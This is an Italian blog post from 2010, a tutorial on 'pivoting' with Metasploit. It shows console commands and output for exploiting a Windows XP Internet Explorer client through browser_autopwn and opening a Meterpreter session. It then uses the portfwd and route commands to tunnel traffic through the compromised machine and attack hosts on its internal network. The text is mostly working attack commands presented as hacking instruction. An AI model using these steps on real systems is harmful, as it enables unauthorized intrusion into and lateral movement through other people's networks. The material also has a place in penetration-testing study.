Metasploit pivoting
by admin on Jan.13, 2010, under Hacking, Linux, Sicurezza, Tools
Il tema di questo post è semplicemente come sia possibile attaccare un host attraverso quello cui si abbia avuto accesso con MetaSploit.
Il primo passo è ovviamente quello di sfruttare una vulnerabilità usando come payload meterpreter:
msf > use server/browser_autopwn
msf > set lhost 151.65.45.42
lhost => 151.65.45.42
msf > db_create autopwn.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: autopwn.db
msf auxiliary(browser_autopwn) > set uripath /
uripath => /
msf auxiliary(browser_autopwn) > run
[*] Auxiliary module execution completed
msf auxiliary(browser_autopwn) >
[*] Starting exploit modules on host 151.65.45.42…
[...]
[*] JavaScript Report: Windows:XP:SP2:it:x86:MSIE:6.0;SP2:
[*] Responding with exploits
[*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 151.65.43.254:1051…
[*] Sending EXE payload to 151.65.43.254:1051…
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (151.65.45.42:3333 -> 151.65.43.254:1053)
msf auxiliary(browser_autopwn) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 151.65.45.42:3333 -> 151.65.43.254:1053
msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >
Una volta che una sessione meterpreter sia attiva, si ha la possibilità di dirottare delle connessioni TCP tramite la macchina target. Quando ad esempio si sia compromesso un sistema affacciato sulla rete interna e si voglia avere accesso ad un web server interno, il comando portfwd può essere la soluzione:
meterpreter > portfwd add -l 8000 -p 80 -r 192.168.1.1
[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.1.1:80
I parametri sono rispettivamente, “-l” per indicare la porta locale (attaccante), “-p” per la porta del servizio remoto, mentre “-r” indica l’ IP della seconda víttima.
A questo punto sul sistema che esegue Metasploit viene esposto un nuovo servizio che inoltra tutto il traffico verso l’host e la porta specificati attraverso il target. Se cioè si punta il browser su http://127.0.0.1:8000/, la connessione viene convogliata attraverso la sessione Meterpreter (over SSL dalla versione 3.3) sul target, e la pagina web sembra locale. Il comando portfwd può essere usato con ogni servizio basato su TCP presente nella rete ed è un mezzo potente per avere accesso alle risorse interne una volta che una qualsiasi postazione utente sia stata compromessa.
Un altro modo consiste nell’utilizzare il comando “route” della console MetaSploit, che permette di attaccare un host, dirottando tutto il traffico tramite un secondo host del quale si sia entrati in possesso.
Per prima cosa occorre mettere in background la sessione di Meterpreter:
metepreter> background
msf>
e poi adoperare il comando route per far si che tutte le comunicazioni vengano inoltrate attraverso la sessione di meterpreter:
msf> route add 0.0.0.0 0.0.0.0 1
msf auxiliary(browser_autopwn) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 Session 1
Possiamo verificare che la route operi correttamente utilizzando il comando connect dalla console:
msf auxiliary(browser_autopwn) > connect 192.168.1.1 80
[*] Connected to 192.168.1.1:80
GET / HTTP/1.0
HTTP/1.0 401 Unauthorized
Server:
Content-Type: text/html
Date: Sat, 22 Jan 2005 22:00:07 GMT
Last-Modified: Sat, 22 Jan 2005 22:00:07 GMT
Accept-Ranges: bytes
Connection: close
WWW-Authenticate: Basic realm="Please enter your user name and password on DSL-524T"
401 Unauthorized
Authorization required for the URL ‘/’.
Ora che la route è stata creata, è possibile dirigere degli attacchi tramite la sessione meterpreter stabilita e compromettere macchine interne.
Dal momento che il “pivoting” supporta solamente connessioni TCP in uscita, è necessario usare degli stagers bind_tcp se la macchina interna non ha accesso diretto al sistema attaccante. Nella maggior parte dei casi, nei quali la rete non prevede filtri di tipo egress, gli stagers reverse_tcp operano tranquillamente (occorre in tal caso assicurarsi che LHOST indichi un reale indirizzo IP esterno).

